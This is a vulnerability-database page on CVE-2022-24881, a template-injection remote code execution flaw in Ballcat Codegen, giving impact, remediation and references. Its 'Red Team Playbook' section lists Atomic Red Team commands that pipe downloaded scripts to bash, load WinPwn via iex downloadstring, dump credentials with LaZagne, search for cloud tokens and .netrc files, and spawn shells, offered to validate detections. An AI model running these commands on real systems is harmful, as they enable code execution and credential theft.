CVE-2022-24881
Overview
This vulnerability is a remote code execution flaw caused by improper input validation in the template engine of Ballcat Codegen. Specifically, the integration of Velocity and Freemarker templates lacks adequate sanitization of user-supplied template code, allowing malicious injection. The affected component is the online code editing feature used to generate templates in versions prior to 1.0.0.beta.2.
Vulnerability Description
Ballcat Codegen provides the function of online editing code to generate templates. In versions prior to 1.0.0.beta.2, attackers can implement remote code execution through malicious code injection of the template engine. This happens because Velocity and freemarker templates are introduced but input verification is not done. The fault is rectified in version 1.0.0.beta.2.
Impact
An attacker with low privileges can remotely execute arbitrary code on the affected system by injecting malicious template code via the online editing feature. This requires network access and authenticated user privileges (PR:L) but no user interaction (UI:N). Successful exploitation can lead to full compromise of the application, including confidentiality, integrity, and availability impacts as reflected by the CVSS vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H). This could result in data breaches, service disruption, or lateral movement within the network.
Solution
Users should upgrade Ballcat Codegen to version 1.0.0.beta.2 or later, where input validation for Velocity and Freemarker templates has been implemented to prevent code injection. Detailed patch instructions and advisory information are available in the official GitHub security advisory GHSA-fv3m-xhqw-9m79 and the associated commit 84a7cb38daf0295b93aba21d562ec627e4eb463b. No additional workarounds are specified by the vendor.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Ballcat Codegen arises from inadequate input validation within its template engine, which utilizes Velocity and Freemarker for online code editing and template generation. This flaw allows an attacker to inject malicious code into the templates, leading to remote code execution (RCE). The absence of proper sanitization mechanisms means that user inputs are not adequately checked before being processed by the template engine. Consequently, an attacker can craft a specially designed input that, when executed, can execute arbitrary code on the server, potentially compromising the entire application and its underlying infrastructure.
Attack vectors for this vulnerability are diverse and can be exploited through various means. One common scenario involves an attacker gaining access to the code generation interface, which may be exposed through a web application. By submitting crafted templates containing malicious code, the attacker can trigger the execution of this code on the server. This could be achieved through social engineering tactics to lure users into accessing a compromised interface or by exploiting weak authentication mechanisms to gain unauthorized access. Once the malicious code is executed, the attacker can manipulate the server environment, access sensitive data, or even pivot to other systems within the network.
The real-world impact of this vulnerability can be significant, particularly for organizations that rely on Ballcat Codegen for application development and deployment. The high CVSS score of 9.8 indicates that the risk associated with this vulnerability is critical. Successful exploitation could lead to severe consequences, including data breaches, loss of intellectual property, and disruption of services. Businesses may face regulatory penalties, reputational damage, and financial losses due to downtime or remediation efforts. Moreover, the potential for lateral movement within the network poses additional risks, as attackers could leverage the initial foothold to access other sensitive systems.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, it is crucial to upgrade to the latest version of Ballcat Codegen, which addresses the input validation issue. Regularly updating software and applying security patches is a fundamental practice in maintaining a secure environment. Additionally, organizations should conduct thorough code reviews and security assessments of their applications to identify and rectify potential vulnerabilities. Implementing web application firewalls (WAF) can also help filter out malicious inputs before they reach the application layer. Furthermore, employing intrusion detection systems (IDS) can aid in identifying suspicious activities indicative of exploitation attempts.
In conclusion, the vulnerability within Ballcat Codegen highlights the critical importance of input validation in software development. The potential for remote code execution through malicious template injection poses a severe threat to organizations utilizing this tool. By understanding the technical details, attack vectors, and potential impacts, organizations can better prepare themselves to defend against such vulnerabilities. Proactive measures, including timely updates, code reviews, and robust security practices, are essential in mitigating risks and ensuring the integrity and security of applications built using Ballcat Codegen.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ballcat | Codegen | All |
cpe:2.3:a:ballcat:codegen:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-24881 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/ballcat-projects/ballcat-codegen/security/advisories/GHSA-fv3m-xhqw-9m79 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/ballcat-projects/ballcat-codegen/issues/5 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/ballcat-projects/ballcat-codegen/commit/84a7cb38daf0295b93aba21d562ec627e4eb463b |